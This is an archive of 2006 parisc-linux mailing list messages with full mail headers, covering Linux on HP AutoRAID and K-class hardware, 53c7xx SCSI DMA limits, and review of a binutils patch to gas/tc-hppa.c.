On Thu, Oct 12, 2006 at 09:21:36PM +0200, Andrew Gaylard wrote:
...
> I'm keen to use Linux (probably Gentoo but Debian's also fine) on
> these boxes, but I'm wondering if that'll mean I'll have to forfeit
> the 8 x 18G disks in each array, which would be a pity...

No. Those are standard SCSI LUNs. use the LCD panel to config
the LUNs and the AutoRAID will arrange for shifting data from
RAID 1 to RAID 5 as it sees fit.

> Has anyone tried Linux on one of these AutoRAID systems?

At one point i did. I haven't in a long time though.

> Also, I presume that I can strip two of the machines to fill up
> the remaining machine with RAM and CPUs;  the HWDB seems to suggest
> that multiple processors will work OK under recent kernels.  Right?

In general, SMP is working.

AFAIK, K-class only had issues with console support
and some recent issues with GSC 53c720 support.
I've forgotten details. :(

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 14 Oct 2006 11:40:40 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <200610141140.40487.mszick@morethan.org>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<4530DF1F.5060601@scarlet.be>
	<20061014141147.GM11633@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624197 21420 80.91.229.3 (22 Nov 2014 02:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Oct 2006 16:41:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 14 Oct 2006 18:41:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 290787D817;
	Sat, 14 Oct 2006 10:41:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15593-07; Sat, 14 Oct 2006 10:41:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D60D7D80C;
	Sat, 14 Oct 2006 10:41:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF1427D80A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 10:40:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15016-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 10:40:52 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 96FE07D807
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 10:40:52 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k9EGen8m049335
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 09:40:49 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.72.86] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id ipC0EuI2
	authenticated by SMTP; Sat, 14 Oct 2006 09:40:48 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20061014141147.GM11633@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QnpEdgFiODBpUrWUfGRM1fE1Ji9SWpLe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24033

On Sat October 14 2006 09:11, Matthew Wilcox wrote:
> On Sat, Oct 14, 2006 at 12:59:11PM +0000, Joel Soete wrote:
> > but yes that's the primary question and:
> > 	* I encountered pbs with ncr53c720 and core io ncr53c710
> > 	 (different pb with each hba but same one-to-one on d380 and c110),
> > 	* but no pb with same disk (and its scsi chain: cable + terminator) 
> > 	with ncr53c710 (behind dino) on a b180,
> > so
> > 	* no hw pb with disk,
> > 	* no sw pb with nc53c710 Jame's driver,
> > 	 (even thought less sure, as make me noticed Mike:
> > 		on b180, 53c710 is behind dino i.e. gsc pci bus bridge, 
> > 		right?
> > 		on c110 and d380, this 53c710 is behind LASI (afaik just a 
> > 		vlsi assembly and no bus bridge)
> > 		so could be also a pb with 53c710 when married with gsc?)
> 
> You should never listen to Zick.  

More from the least trusted source of information:

The C710 designed into the LASI chip operates from a fixed frequency
clock of 40Mhz.

Ref:
http://www.hpl.hp.com/hpjournal/95apr/apr95a4.pdf
Page: 3, Section: Phase-Locked Loop Clock Generators, Paragraph: 1

All K-class systems have at least 1 HP-HSC bus, it runs at 32Mhz.
In addition the K-400 and K-410 may have an additional HP-HSC bus
which runs at 40Mhz.

Ref:
http://www.hpl.hp.com/hpjournal/96feb/feb96a1.pdf
Page: 6, Section: I/O Expansion, Paragraph: 1

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Mon, 16 Oct 2006 09:37:15 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <200610160937.15846.mszick@morethan.org>
References: <J788XR$E1A2FE043CF88207AEC13412E82258F2@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624197 21423 80.91.229.3 (22 Nov 2014 02:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Oct 2006 14:37:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 16 Oct 2006 16:37:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4030E7D73B;
	Mon, 16 Oct 2006 08:37:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17363-10; Mon, 16 Oct 2006 08:37:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D1807D722;
	Mon, 16 Oct 2006 08:37:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDE8C7D715
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 08:37:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17775-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 08:37:33 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB067D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 08:37:33 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k9GEbWej016517
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Oct 2006 07:37:32 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.40.204.184] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 5I40bMA2
	authenticated by SMTP; Mon, 16 Oct 2006 07:37:30 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <J788XR$E1A2FE043CF88207AEC13412E82258F2@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e64GcUEQTiEtQKyUaGRwJG51ZUVSRJfO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24034

On Mon October 16 2006 06:51, Joel Soete wrote:
>
> ====<>====
> 
> May be could we also use some define like:
> #define Mb        (1 << 20)
> #define Gb        (1 << 30)
>

Joel,
Let me add a bit (no pun intended) from the 53c7xx manuals ...

The transfer offset register is 21 bits - -

So the largest single chunk of memory 7xx can transfer is 2^21
in a single command (single list entry, if passing it lists).

There was a mention somewhere of a special use for the high bit,
I do not recall the details at this moment.

So a limit on the contiguous block size of 2^20 should work.
Larger blocks would have to generate multiple list entries
by the time the code reaches the controller.

Another limit of the transfer hardware in the controller is
that it can not transfer a block which crosses 2^32 boundaries.
(The transfer base register is 32 bits.)

In those cases, you also have to split the block into above/below
2^32 and reprogram the chips interface (HP) hardware inbetween.

Some of the 53c8xx controllers handle 2^64 physical addressing,
but I have not studied those yet.

> Duno yet if it's realted to my pb but tia for your attention,
>     Joel 
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sat, 21 Oct 2006 14:17:19 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <1161454639.7854.57.camel__16996.0180450746$1416624198$gmane$org@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0472440696=="
X-Trace: ger.gmane.org 1416624198 21427 80.91.229.3 (22 Nov 2014 02:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: binutils <binutils@sources.redhat.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2006 18:17:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 21 Oct 2006 20:17:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D0037D680;
	Sat, 21 Oct 2006 12:17:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13750-07; Sat, 21 Oct 2006 12:17:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 349667D686;
	Sat, 21 Oct 2006 12:17:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C1817D645
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:17:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13750-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:17:25 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id D9FBF7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:17:25 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7I006E9050IZJ0@VL-MH-MR001.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 21 Oct 2006 14:17:24 -0400 (EDT)
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c1wMdFQNYmYSfenCanc3g/FKWkZTQVTv
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24035


--===============0472440696==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-77QsHRR0wCfpeR1DfWwm"


--=-77QsHRR0wCfpeR1DfWwm
Content-Type: multipart/mixed; boundary="=-2rleWUrZ+6cxESpkseUj"


--=-2rleWUrZ+6cxESpkseUj
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I was reading through the gas hppa bits trying to find something for the
hppa64 port and wanted to clean this up.  If these types of patches are
acceptable, I'll probably feed a steady stream of them in.

2006-10-21  Jeff Bailey  <jbailey@raspberryginger.com>

        * config/tc-hppa.c: Use defines from bfd.h instead of magic constan=
ts.



--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-2rleWUrZ+6cxESpkseUj
Content-Disposition: attachment; filename=tc-hppa.c.diff
Content-Type: text/x-patch; name=tc-hppa.c.diff; charset=UTF-8
Content-Transfer-Encoding: base64

SW5kZXg6IHRjLWhwcGEuYw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnMvc3JjL3NyYy9nYXMv
Y29uZmlnL3RjLWhwcGEuYyx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMTMyDQpkaWZmIC11IC1w
IC1yMS4xMzIgdGMtaHBwYS5jDQotLS0gdGMtaHBwYS5jCTcgSnVuIDIwMDYgMTE6Mjc6NTcgLTAw
MDAJMS4xMzINCisrKyB0Yy1ocHBhLmMJMjEgT2N0IDIwMDYgMTc6NDg6NTkgLTAwMDANCkBAIC0x
MDUsMTIgKzEwNSw2IEBAIHR5cGVkZWYgc29tX3N5bWJvbF90eXBlIG9ial9zeW1ib2xfdHlwZTsN
CiAjZW5kaWYNCiAjZW5kaWYgLyogT0JKX1NPTSAqLw0KIA0KLSNpZiBUQVJHRVRfQVJDSF9TSVpF
ID09IDY0DQotI2RlZmluZSBERUZBVUxUX0xFVkVMIDI1DQotI2Vsc2UNCi0jZGVmaW5lIERFRkFV
TFRfTEVWRUwgMTANCi0jZW5kaWYNCi0NCiAvKiBWYXJpb3VzIHN0cnVjdHVyZXMgYW5kIHR5cGVz
IHVzZWQgaW50ZXJuYWxseSBpbiB0Yy1ocHBhLmMuICAqLw0KIA0KIC8qIFVud2luZCB0YWJsZSBh
bmQgZGVzY3JpcHRvci4gIEZJWE1FOiBTeW5jIHRoaXMgd2l0aCBHREIgdmVyc2lvbi4gICovDQpA
QCAtODI1OSw3ICs4MjUzLDExIEBAIG1kX2JlZ2luICh2b2lkKQ0KICAgY2FsbF9pbmZvX3Jvb3Qg
PSBOVUxMOw0KIA0KICAgLyogU2V0IHRoZSBkZWZhdWx0IG1hY2hpbmUgdHlwZS4gICovDQotICBp
ZiAoIWJmZF9zZXRfYXJjaF9tYWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIERFRkFVTFRf
TEVWRUwpKQ0KKyNpZiBUQVJHRVRfQVJDSF9TSVpFID09IDY0DQorICBpZiAoIWJmZF9zZXRfYXJj
aF9tYWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIGJmZF9tYWNoX2hwcGExMCkpDQorI2Vs
c2UNCisgIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwg
YmZkX21hY2hfaHBwYTIwdykpDQorI2VuZGlmDQogICAgIGFzX3dhcm4gKF8oImNvdWxkIG5vdCBz
ZXQgYXJjaGl0ZWN0dXJlIGFuZCBtYWNoaW5lIikpOw0KIA0KICAgLyogRm9sZGluZyBvZiB0ZXh0
IGFuZCBkYXRhIHNlZ21lbnRzIGZhaWxzIG1pc2VyYWJseSBvbiB0aGUgUEEuDQo=


--=-2rleWUrZ+6cxESpkseUj--

--=-77QsHRR0wCfpeR1DfWwm
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFOmQv5M5hmdCYCpkRAl0JAKCmdX12fv57CtWCoPA78aONk3odgwCfWSbo
PPFUWpRjUTIf23zBGom1obA=
=8xzd
-----END PGP SIGNATURE-----

--=-77QsHRR0wCfpeR1DfWwm--


--===============0472440696==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0472440696==--



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sat, 21 Oct 2006 12:46:54 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20061021184654.GC2602__36733.2913367592$1416624198$gmane$org@parisc-linux.org>
References: <1161454639.7854.57.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624198 21429 80.91.229.3 (22 Nov 2014 02:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:18 +0000 (UTC)
Cc: binutils <binutils@sources.redhat.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2006 18:47:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 21 Oct 2006 20:47:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD3DE7D629;
	Sat, 21 Oct 2006 12:47:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14386-01; Sat, 21 Oct 2006 12:47:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFBF47D41F;
	Sat, 21 Oct 2006 12:46:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9790D7D413
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:46:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13847-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:46:55 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 643177D404
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 12:46:55 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1B5C749400A; Sat, 21 Oct 2006 12:46:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1161454639.7854.57.camel@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GFMPcXgdRkkeaauPfGRq94RmdWkvKJML
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24036

On Sat, Oct 21, 2006 at 02:17:19PM -0400, Jeff Bailey wrote:
> @@ -105,12 +105,6 @@ typedef som_symbol_type obj_symbol_type;
>  #endif
>  #endif /* OBJ_SOM */
>  
> -#if TARGET_ARCH_SIZE == 64
> -#define DEFAULT_LEVEL 25
> -#else
> -#define DEFAULT_LEVEL 10
> -#endif
> -
>  /* Various structures and types used internally in tc-hppa.c.  */
>  
>  /* Unwind table and descriptor.  FIXME: Sync this with GDB version.  */
> @@ -8259,7 +8253,11 @@ md_begin (void)
>    call_info_root = NULL;
>  
>    /* Set the default machine type.  */
> -  if (!bfd_set_arch_mach (stdoutput, bfd_arch_hppa, DEFAULT_LEVEL))
> +#if TARGET_ARCH_SIZE == 64
> +  if (!bfd_set_arch_mach (stdoutput, bfd_arch_hppa, bfd_mach_hppa10))
> +#else
> +  if (!bfd_set_arch_mach (stdoutput, bfd_arch_hppa, bfd_mach_hppa20w))
> +#endif
>      as_warn (_("could not set architecture and machine"));
>  
>    /* Folding of text and data segments fails miserably on the PA.

My personal preference would be to see this patch as:

 #if TARGET_ARCH_SIZE == 64
-#define DEFAULT_LEVEL 25
+#define DEFAULT_LEVEL bfd_mach_hppa20w
 #else
-#define DEFAULT_LEVEL 10
+#define DEFAULT_LEVEL bfd_mach_hppa10
 #endif

... particularly since you seem to have got them the wrong way round in
this patch.

I'd also dearly love it if someone could unify the hppa and hppa64 ports
so we don't have to build two toolchains for one port.  Just like sparc,
mips, s390 and i386.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ryan Bradetich" <rbradetich@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mux Updates.
Date: Thu, 19 Oct 2006 22:36:58 -0700
Lines: 166
Approved: news@gmane.org
Message-ID: <e739902b0610192236u61d76952l942d4f9caac066c6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_81929_21838151.1161322618585"
X-Trace: ger.gmane.org 1416624198 21432 80.91.229.3 (22 Nov 2014 02:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
